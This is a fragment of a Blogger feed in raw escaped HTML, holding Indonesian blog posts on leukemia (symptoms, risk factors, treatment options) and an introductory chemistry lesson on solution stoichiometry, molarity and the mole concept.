/&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sel darah putih juga bisa berkembang biak melebihi batas normal, meski tubuh tidak diserang infeksi. Sumsum tulang belakang memproduksi sel-sel darah putih dalam jumlah yang sangat banyak.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sayangnya tidak semua sel darah putih tersebut layak disebut sel normal.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Kebanyakan dari mereka tidak normal atau tidak berfungsi selayaknya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Jika berlangsung terus jumlah sel darah putih abnormal ini akan menumpuk dan berbalik menyerang fungsi organ tubuh kita sendiri. Hal ini bisa disebabkan banyak hal. Yang paling umum ditemui adalah karena kanker darah atau kanker leukemia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Kanker ini memiliki banyak variasi dan bisa menyerang orang dewasa maupun anak-anak.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;GEJALA LEUKEMIA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Gejala leukemia antara lain: demam, mudah lelah, kehilangan berat secara drastis, atau mudah berdarah. Bisa juga sering tersengal-sengal, rasa sakit pada tulang, dan berkeringat sangat banyak terutama di malam hari.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Gejala ini tentu tidak semua sama pada setiap orang. Pada orang-orang tertentu bisa saja muncul sebagai gejala flu atau demam biasa, sehingga terabaikan. Bahkan ada yang tidak menggejala sama sekali.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Namun, gejala tadi tidak bisa menjadi acuan pasti adanya leukemia. Bisa saja karena tubuh sebenarnya sedang melawan kuman, jadi memproduksi leukosit lebih banyak.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Untuk memastikan perlu dilakukan pemeriksaan laboratorium. Terutama pemeriksaan jumlah sel darah putih.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;FAKTOR LEUKEMIA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Beberapa faktor leukemia antara lain: sering menjalani kemoterapi dan bekerja dengan bahan kimia. Meski demikian, tidak setiap orang yang memiliki faktor risiko akan mengalami leukemia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Ada orang yang tidak memiliki faktor risiko, tetapi terkena leukemia. Itu bisa saja karena faktor genetik.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;MACAM_MACAM TERAPI LEUKEMIA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Leukemia bukan kanker berbentuk padat yang dapat diangkat lewat operasi. Pengobatan leukemia terbilang rumit, tergantung dari usia, kondisi tubuh pasien, dan tipe leukemianya. Belum lagi jika kanker tersebut sudah menyebar ke banyak bagian tubuh.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Pilihan terapi untuk leukemia antara lain:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;1. KEMOTERAPI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Kemoterapi adalah: pengobatan yang umum dilakukan untuk menangani leukemia. Terapi ini menggunakan cairan kimia untuk membunuh sel leukemia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Pasien bisa hanya menerima satu jenis obat atau berbagai macam obat, bergantung dari jenis leukemianya. Cara pengobatannya bisa dalam bentuk pil atau disuntikkan ke dalam saluran darah.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;2. TERAPI BIOLOGIS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Dikenal juga sebagai terapi imuno.Terapi biologis menggunakan berbagai macam substansi untuk meningkatkan kekebalan tubuh pasien agar kuat melawan sel kanker.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;3. TERAPI KINASE INHIBITOR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Obat yang mengandung zat imatinib mesilat ini merupakan pilihan pertama bagi kebanyakan penderita leukemia jenis myelogen kronis.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;4. TERAPI OBAT LAIN&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Arsenik trioksida dan semua jenis asam trans retinoik merupakan obat antikanker. Cara kerjanya membuat sel leukemia menjadi tua dan mati.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;5. TERAPI RADIASI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Terapi yang menggunakan sinar x ini bertujuan untuk menghancurkan sel leukemia dan menghentikan pertumbuhannya. Pasien bisa disinari hanya pada bagian tertentu tubuhnya, lokasi sel leukemia berada. Jika sel leukemia sudah menyebar, tentu seluruh tubuh harus disinar.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;6. TRANSPLANTASI SUMSUM TULANG BELAKANG&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Proses ini bertujuan mengganti sumsum tulang belakang yang sudah terkontaminasi leukemia dengan sumsum tulang belakang yang masih bersih dan sehat.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;7. TERAPI SEL PUNCA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Serupa dengan transplantasi sumsum tulang belakang. Bedanya, terapi ini menggunakan sel induk yang berada dalam aliran darah. Sel punca bisa diambil dari dalam tubuh pasien sendiri atau dari donor yang cocok dengan tubuh pasien.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Para dokter lebih sering menggunakan terapi ini karena masa pemulihan lebih cepat dan tingkat risiko terkena infeksi lebih rendah.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;http://kupukupudanpelangi.blogspot.com/2009/09/bila-leukosit-susut-atau-melejit.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-7372708652611698031?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/7372708652611698031/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/darah-putih-leukosit_8770.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7372708652611698031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7372708652611698031'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/darah-putih-leukosit_8770.html' title='Darah Putih (Leukosit)'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-2891554627648849158</id><published>2009-11-24T08:06:00.000-08:00</published><updated>2009-11-24T08:58:33.556-08:00</updated><title type='text'>Hukum-hukum dasar kimia dan perhitungan kimia (stoikiometri)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwGHyLubuI/AAAAAAAAAMk/746YO_Ck4k8/s1600/history_science.jpg"&gt;&lt;img style="cursor: pointer; width: 300px; height: 375px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwGHyLubuI/AAAAAAAAAMk/746YO_Ck4k8/s400/history_science.jpg" alt="" id="BLOGGER_PHOTO_ID_5407703983364927202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Istilah stoikiometri berasal dari bahasa Yunani yaitu stoicheon yang berarti unsur dan metron yang berarti pengukuran. Jadi, stoikiometri adalah ilmu yang mempelajari hubungan kuantitatif antara pereaksi dan produk dalam reaksi. Stoikiometri dapat dikatakan pula sebagai hitungan kimia.&lt;span class="fullpost"&gt;&lt;br /&gt;Pernahkah kamu perhatikan bagaimana reaksi kimia berlangsung? Pada saat kamu mengadakan kegiatan praktikum di laboratorium(laboratorium Analitik, Anorganik dan Fisik FMIPA UnMul. lho kok bawa-bawa nama Lab itu sih... hehe ?), dalam wujud apa bahan-bahan kimia tersebut direaksikan? Pada umumnya reaksi kimia berlangsung dalam bentuk larutan. Sebelum kamu mereaksikan larutan tersebut, tentunya kamu akan menghitung terlebih dahulu berapa jumlah zat yang akan direaksikan dan berapa jumlah zat yang akan dihasilkan. Dalam ilmu kimia hal tersebut dipelajari dalam stoikiometri larutan.&lt;br /&gt;Untuk dapat memahami konsep stoikiometri larutan, maka harus memahami terlebih dahulu jenis-jenis reaksi dalam larutan elektrolit, pengertian konsentrasi, konsep mol, dan persamaan reaksi.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;A. Reaksi dalam Larutan Elektrolit&lt;/span&gt;&lt;br /&gt;    Apakah kamu masih ingat tentang larutan yang dapat menghantarkan arus listrik? Disebut larutan apakah larutan tersebut? Reaksi yang berlangsung dalam larutan tersebut adalah reaksi ionisasi. Larutan tersebut adalah larutan elektrolit. Larutan elektrolit digolongkan menjadi dua macam yaitu larutan elektrolit lemah dan larutan elektrolit kuat.&lt;br /&gt;Reaksi antara ion-ion dalam larutan elektrolit dapat menghasilkan senyawa kovalen, endapan, gas, atau perubahan warna larutan.&lt;br /&gt;1. Reaksi Penetralan Asam Basa&lt;br /&gt;Reaksi antara senyawa asam dan basa dapat menghasilkan garam mineral dan air&lt;br /&gt;Asam + basa      ↔      garam + H2O&lt;br /&gt;Contoh:&lt;br /&gt;KOH(aq) + HCl(aq)                                  KCl(aq) + H2O(1)&lt;br /&gt;Mg(OH)2(aq) + H2SO4(aq)                       MgSO4 + 2 H2O(1)&lt;br /&gt;&lt;br /&gt;Reaksi antara asam dan basa umumnya disebut dengan reaksi penetralan. Akan tetapi, tidak semua garam yang dihasilkan dari reaksi ini bersifat netral. Ada garam-garam yang mempunyai sifat asam atau basa. Hal ini tergantung dari kuat atau lemahnya asam dan basa yang bereaksi membentuknya.&lt;br /&gt;asam kuat + basa                        →       kuat garam netral&lt;br /&gt;asam kuat + basa                        →      lemah garam bersifat asam&lt;br /&gt;asam lemah + basa kuat              →      garam bersifat basa&lt;br /&gt;     Konsentrasi larutan asam atau basa dapat ditentukan berdasarkan reaksi yang terjadi dalam larutan tersebut. Cara ini dikenal sebagai titrasi asam basa. Eksperimen titrasi dilakukan dengan menambahkan larutan asam atau basa yang diketahui konsentrasinya (larutan standar) ke dalam larutan asam atau basa yang ingin diketahui konsentrasinya. Penambahan terus dilakukan sampai tercapai titik ekuivalen, yaitu titik saat asam dan basa tepat habis bereaksi. Jika volume larutan standar dan larutan sampel diketahui, maka konsentrasi larutan sampel dapat ditentukan.&lt;br /&gt;&lt;br /&gt;2. Reaksi Oksida Basa dengan Asam&lt;br /&gt;       Oksida basa beraksi dengan asam membentuk garam dan air&lt;br /&gt;Oksida basa + asam     →      garam + H2O&lt;br /&gt;Contoh:&lt;br /&gt;K2O(s) + H2SO4(aq)      →              K2SO4(aq) + H2O(1)&lt;br /&gt;&lt;br /&gt;3. Reaksi Oksida Asam dengan Basa&lt;br /&gt;       Reaksi antara oksida asama dengan basa dapat membentuk garam dan air&lt;br /&gt;  Oksida asam + basa   →   garam + H2O&lt;br /&gt;Contoh&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwHyDbmsLI/AAAAAAAAAMs/qxvy48kF5sU/s1600/1.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 98px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwHyDbmsLI/AAAAAAAAAMs/qxvy48kF5sU/s400/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5407705809061064882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4. Reaksi Pengendapan&lt;br /&gt;     Beberapa kation dan anion dalam larutan elektrolit dapat membentuk larutan yang sukar larut dalam air&lt;br /&gt;Contoh:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwwICqIa0kI/AAAAAAAAAM0/7mHVJJ8Gq00/s1600/2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 113px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwwICqIa0kI/AAAAAAAAAM0/7mHVJJ8Gq00/s400/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5407706094327484994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;5. Reaksi yang Menghasilkan Gas&lt;br /&gt;   Reaksi larutan asam dengan abebrapa logam menghasilkan gas hidrogen.&lt;br /&gt;Oksida asam + logam        →          garam + H2&lt;br /&gt;Contoh:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwIvn2DuTI/AAAAAAAAAM8/0pJ2RSxzR0s/s1600/3.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 112px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwIvn2DuTI/AAAAAAAAAM8/0pJ2RSxzR0s/s400/3.jpg" alt="" id="BLOGGER_PHOTO_ID_5407706866807716146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Logam yang dapat bereaksi dengan asam adalah logam yang terletak di sebelah kiri atom hidrogen pada deret volta berikut:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwJGdwcukI/AAAAAAAAANE/WR3nWoHxpRA/s1600/4.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 95px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwJGdwcukI/AAAAAAAAANE/WR3nWoHxpRA/s400/4.jpg" alt="" id="BLOGGER_PHOTO_ID_5407707259236825666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;B. Stokiometri Larutan&lt;/span&gt;&lt;br /&gt;    Sebagian besar reaksi kimia dapat berlangsung lebih cepat apabila pereaksi dalam bentuk larutan. Mengapa demikian? Apa yang membedakan reaksi kimia dalam larutan (campuran homogen) dengan campuran heterogen? Sebelum pembahasan tentang stoikiometri larutan maka kita akan bahas terlebih dahulu tentang konsentrasi larutan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Konsentrasi Larutan&lt;br /&gt;&lt;br /&gt;a. Pengertian Konsentrasi Larutan&lt;br /&gt;Konsentrasi adalah istilah umum untuk menyatakan banyaknya bagian zat terlarut dan pelarut yang terdapat dalam larutan. Konsentrasi dapat dinyatakan secara kuantitatif maupun secara kualitatif. Untuk ukuran secara kualitatif, konsentrasi larutan dinyatakan dengan istilah larutan pekat (concentrated) dan encer (dilute). Kedua isitilah ini menyatakan bagian relatif zat terlarut dan pelarut dalam larutan. Larutan pekat berarti jumlah zat terlarut relatif besar, sedangkan larutan encer berarti jumlah zat terlarut relatif lebih sedikit. Biasanya, istilah pekat dan encer digunakan untuk membandingkan konsentrasi dua atau lebih larutan.&lt;br /&gt;Dalam ukuran kuantitatif, konsentrasi larutan dinyatakan dalam g/mL (sama seperti satuan untuk densitas). Namun, dalam perhitungan stoikiometri satuan gram diganti dengan satuan mol sehingga diperoleh satuan mol/L. Konsentrasi dalam mol/L atau mmol/mL dikenal dengan istilah molaritas atau konsentrasi molar.&lt;br /&gt;b. Molaritas&lt;br /&gt;Molaritas atau kernolaran menyatakan jumlah mol zat terlarut (n) dalam satu liter larutan (L) atau milimol zat terlarut (n) dalam setiap satu mililiter larutan (mL).&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwJZT2SIDI/AAAAAAAAANM/0-wT_W1RZWw/s1600/5.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwJZT2SIDI/AAAAAAAAANM/0-wT_W1RZWw/s400/5.jpg" alt="" id="BLOGGER_PHOTO_ID_5407707582994456626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Keterangan: W   = berat zat (gram)&lt;br /&gt;               Mr  = masa molekul relative zat&lt;br /&gt;               V   =  volume larutan (mL)&lt;br /&gt;&lt;br /&gt;Suatu larutan dapat dibuat dengan cara melarutkan zat terlarut murniatau mengencerkan dari larutan pekatnya: Agar lebih jelas, perhatikanlah contoh berikut:&lt;br /&gt;&lt;br /&gt;1) Penentuan Molaritas dengan Cara Pelarutan&lt;br /&gt;Jika kita ingin membuat 250 mL larutan K2CrO4 0,25 M dari bentuk kristal, caranya adalah dengan menghitung massa zat yang akan dilarutkan.&lt;br /&gt;mol K2CrO4  = 250 mL x 0,25 M&lt;br /&gt;                   = 0,0625 mol&lt;br /&gt;g K2CrO4     = 0,0625 mol x 194 g / mol&lt;br /&gt;                   = 12,125 g&lt;br /&gt;Jadi, yang harus dilakukan adalah melarutkan 12,125 g kristal K2CrO4 ke dalam 250 mL air&lt;br /&gt;&lt;br /&gt;2) Penentuan Molaritas dengan Cara Pengenceran&lt;br /&gt; Jika larutan di atas akan diubah konsentrasinya menjadi 0,01 M K2CrO4, caranya adalah dengan cara pengenceran. Dalam pengenceran kita akan mengubah volume dan kemolaran larutan, namun tidak mengubah jumlah mol zat terlarut.&lt;br /&gt;                    nl =n2     →       n = MV&lt;br /&gt;                                   ↓&lt;br /&gt;                           M1 V1 =M2V2&lt;br /&gt;&lt;br /&gt;Keterangan:&lt;br /&gt;M1 = konsentrasi sebelum pengenceran&lt;br /&gt;V1 = volume sebelum pengenceran&lt;br /&gt;M2 = konsentrasi setelah pengenceran&lt;br /&gt;V2 = volume setelah pengenceran&lt;br /&gt;&lt;br /&gt;   Untuk contoh di atas, kita dapat mengambil 10 mL larutan K2CrO4 0,25M. Setelah itu, dilakukan pengenceran dengan perhitungan:&lt;br /&gt;                         M1V1 =   M2V2&lt;br /&gt;             0,25M x 10mL =  0,01MxV2&lt;br /&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwJ-hHt8zI/AAAAAAAAANU/Sfc6fTF2YaU/s1600/6.jpg"&gt;&lt;img style="cursor: pointer; width: 97px; height: 87px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwJ-hHt8zI/AAAAAAAAANU/Sfc6fTF2YaU/s400/6.jpg" alt="" id="BLOGGER_PHOTO_ID_5407708222212404018" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;= 250 mL&lt;br /&gt;&lt;br /&gt;   Jadi, yang harus dilakukan adalah mengencerkan 10 mL K2CrO4 0,25 M sampai volumenya menjadi 250 mL.&lt;br /&gt;   Jika dua jenis larutan dicampurkan dan jumlah mol zat terlarut mengalami perubahan (n1 tidak sama dengan n2), maka mol zat setelah dicampurkan tergantung kepada jumlah&lt;br /&gt;nl dan n2 sedangkan volume larutannya menjadi V1 + V2.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwKVQuKEHI/AAAAAAAAANc/K57uyOyEJvI/s1600/7.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 115px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwKVQuKEHI/AAAAAAAAANc/K57uyOyEJvI/s400/7.jpg" alt="" id="BLOGGER_PHOTO_ID_5407708612947218546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; Di laboratorium, larutan-larutan pekat tidak diketahui molaritasnya, tetapi yang diketahui (dapat dibaca pada etiket botol) adalah kadar (dalam satuan persen berat) dan densitas (g / mL). Bagaimanakah membuat larutan dengan molaritas tertentu dari larutan pekat? Prinsipnya sama dengan cara pengenceran. Sebagai contoh, pembuatan 100 mL larutan asam perklorat 0,1 M dari asam perklorat dengan etiket: kadar 70% dan densitas 1,664 g/mL. Caranya adalah dengan mencari molaritas larutan pekat terlebih dahulu. Untuk memperoleh nilai M, maka kita harus mengubah kadar (%) menjadi mol dan mengkonversi massa (gram) menjadi volume (mL).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwKqznAaJI/AAAAAAAAANk/9l0gCz7PXe4/s1600/8.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 251px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwKqznAaJI/AAAAAAAAANk/9l0gCz7PXe4/s400/8.jpg" alt="" id="BLOGGER_PHOTO_ID_5407708983089719442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;= 11,59 M HClO4&lt;br /&gt;&lt;br /&gt;  Dari contoh di atas dapat diturunkan rumus:&lt;br /&gt;Molaritas (M) = Persen berat x Densitas x 10 / Mr&lt;br /&gt;&lt;br /&gt; Setelah molaritas diketahui, kemudian yang harus diambil (V1). Dalam hal ini, volume HC1O4 yang akan diambil adalah&lt;br /&gt; V1 M1             =   V2 M2&lt;br /&gt; V1 x 11,59 M   =  100 mL x 0,1&lt;br /&gt; M V1              =   0,863 mL&lt;br /&gt;&lt;br /&gt;Sebanyak 0,863 mL HC1O4 11,59 M dimasukkan ke labu takar berukuran 100 mL, kemudian ditambahkan akuades sampai tanda batas 100 mL dan digojog sampai homogen. Sekarang diperoleh larutan HC1O4 0,1 M sebanyak 100 mL&lt;br /&gt;&lt;br /&gt;2. Perhitungan Kimia&lt;br /&gt;&lt;br /&gt;a. Mol dan Persamaan Reaksi&lt;br /&gt; Di kelas X kamu telah mempelajari tentang konsep mol. Pada pokok bahasan ini, kamu akan mempelajari konsep mol dan persamaan reaksi secara terpadu. Kita telah memahami bahwa satu mol suatu senyawa mengandung 6,02 x 1023 partikel senyawa tersebut. Jika diterapkan untuk atom atau molekul, maka:&lt;br /&gt;1 mol = 6,02 x 1023 atom / molekul&lt;br /&gt;Untuk mengingatkan hubungan antara konsep mol dengan jumlah partikel, massa atom/ molekul, volume standar, dan molaritas, perhatikan diagram “Jembatan Mol” berikut!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwLBmgcFLI/AAAAAAAAANs/c5bfSaFdBwo/s1600/9.jpg"&gt;&lt;img style="cursor: pointer; width: 436px; height: 434px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwLBmgcFLI/AAAAAAAAANs/c5bfSaFdBwo/s400/9.jpg" alt="" id="BLOGGER_PHOTO_ID_5407709374709503154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bagan di atas memperlihatkan bahwa mol dapat men¬jembatani berbagai parameter sehingga memudahkan kita untuk memahami sebuah reaksi kimia.&lt;br /&gt;Pada bagan tersebut, ditunjukkan bahwa semua jalur yang menuju ke mol menggunakan tanda “ pembagian “, sedangkan jalur yang keluar dari mol menggunakan tanda “perkalian”, kecuali untuk molaritas (M).&lt;br /&gt;Sebagai contoh, perhatikan reaksi berikut!&lt;br /&gt;     H2(g) + O2(g) — H2O(g)&lt;br /&gt;Reaksi di atas memperlihatkan bahwa jumlah atom oksigen pada reaktan ada dua buah, sedangkan jumlah oksigen di produk ada satu buah. Hal ini berbeda dengan atom H yang sudah sama. Oleh karena itu, reaksi harus disetarakan.&lt;br /&gt;Penyetaraan reaksi dapat dilakukan dengan membuat koefisien O2 = ½ sehingga persamaan reaksinya menjadi sebagai berikut.&lt;br /&gt;    H2(g) + ½ O2(g) — H2O(g)&lt;br /&gt;Pada reaksi di atas jumlah atom O dengan H pada reaktan sudah setara dengan jumlah atom O dan H pada produk. Angka pecahan dalam persamaan dapat dihilangkan dengan mengalikan dua terhadap semua koefisien reaksi.&lt;br /&gt;   2H2(g) + O2(g) 2H2O(g)&lt;br /&gt;Persamaan reaksi di atas menunjukkan bahwa koefisien reaksi masing-masing untuk H2, 02, dan H2O adalah 2, 1, dan 2. Dalam perhitungan kimia, koefisien reaksi melambangkan perbandingan mol zat reaktan dan produk dalam suatu reaksi. Artinya, perbandingan mol dalam reaksi di atas, yaitu antara H2, 02, dan H2O adalah 2 : 1 : 2.&lt;br /&gt;Perhatikanlah ilustrasi di bawah ini!&lt;br /&gt;  2H2(g) + O2(g)      ---------------- 2H2O(g)&lt;br /&gt;Perbandingan mol 2 : 1 : 2&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwwLiNF4MhI/AAAAAAAAAN0/RFtKTvj_MhA/s1600/10.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwwLiNF4MhI/AAAAAAAAAN0/RFtKTvj_MhA/s400/10.jpg" alt="" id="BLOGGER_PHOTO_ID_5407709934822896146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Contoh lain adalah pembakaran gas metana di udara.&lt;br /&gt;metana + oksigen                              ------------------------     karbondioksida + air&lt;br /&gt;CH4 + 202                             -----------------------      CO2 + 2H20&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwMp4UTNnI/AAAAAAAAAN8/axqmy7D0DZ0/s1600/11.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 159px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwwMp4UTNnI/AAAAAAAAAN8/axqmy7D0DZ0/s400/11.jpg" alt="" id="BLOGGER_PHOTO_ID_5407711166196823666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Persamaan reaksi menunjukkan bahwa 1 mol CH4 bereaksi dengan 2 mol O2 menghasilkan 1 mol CO2 dan 2 mol H2O.&lt;br /&gt;Dari persamaan reaksi dapat kita katakan bahwa:&lt;br /&gt;Jumlah mol H2O yang dihasilkan  = 2&lt;br /&gt;Jumlah mol CH4 yang beraksi 1&lt;br /&gt;Perbandingan ini dapat digunakan untuk menghitung massa air yang dihasilkan ketika sejumlah tertentu gas metana terbakar di udara.&lt;br /&gt;b. Perhitungan Massa Zat Reaksi&lt;br /&gt;Jika kamu ingin mengerjakan suatu reaksi di laboratorium, kamu pasti akan mengukur bahan pereaksi dalam satuan gram atau liter sebelum rnereaksikannya. Oleh karena itu, pekerjaan di laboratorium akan selalu berkaitan dengan perhitungan massa.&lt;br /&gt;Penentuan jumlah produk dan reaktan yang terlibat dalam reaksi harus diperhitungkan dalam satuan mol. Artinya, satuan-¬satuan yang diketahui harus diubah ke dalam bentuk mol. Metode yang sering dipergunakan dalam perhitungan kimia ini disebut metoda pendekatan mol.&lt;br /&gt;Langkah-langkah metode pendekatan mol dapat dilihat pada langkah-langkah berikut.&lt;br /&gt;1. Tuliskan persamaan reaksi dari soal yang ditanyakan, lalu disetarakan.&lt;br /&gt;2. Ubahlah semua satuan yang diketahui dari tiap-tiap zat ke dalam mol&lt;br /&gt;3. Gunakanlah koefisien reaksi untuk menyeimbangkan banyaknya mol zat reaktan dan produk.&lt;br /&gt;4. Ubahlah satuan mol dari zat yang ditanyakan ke dalam satuan yang ditanyakan.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 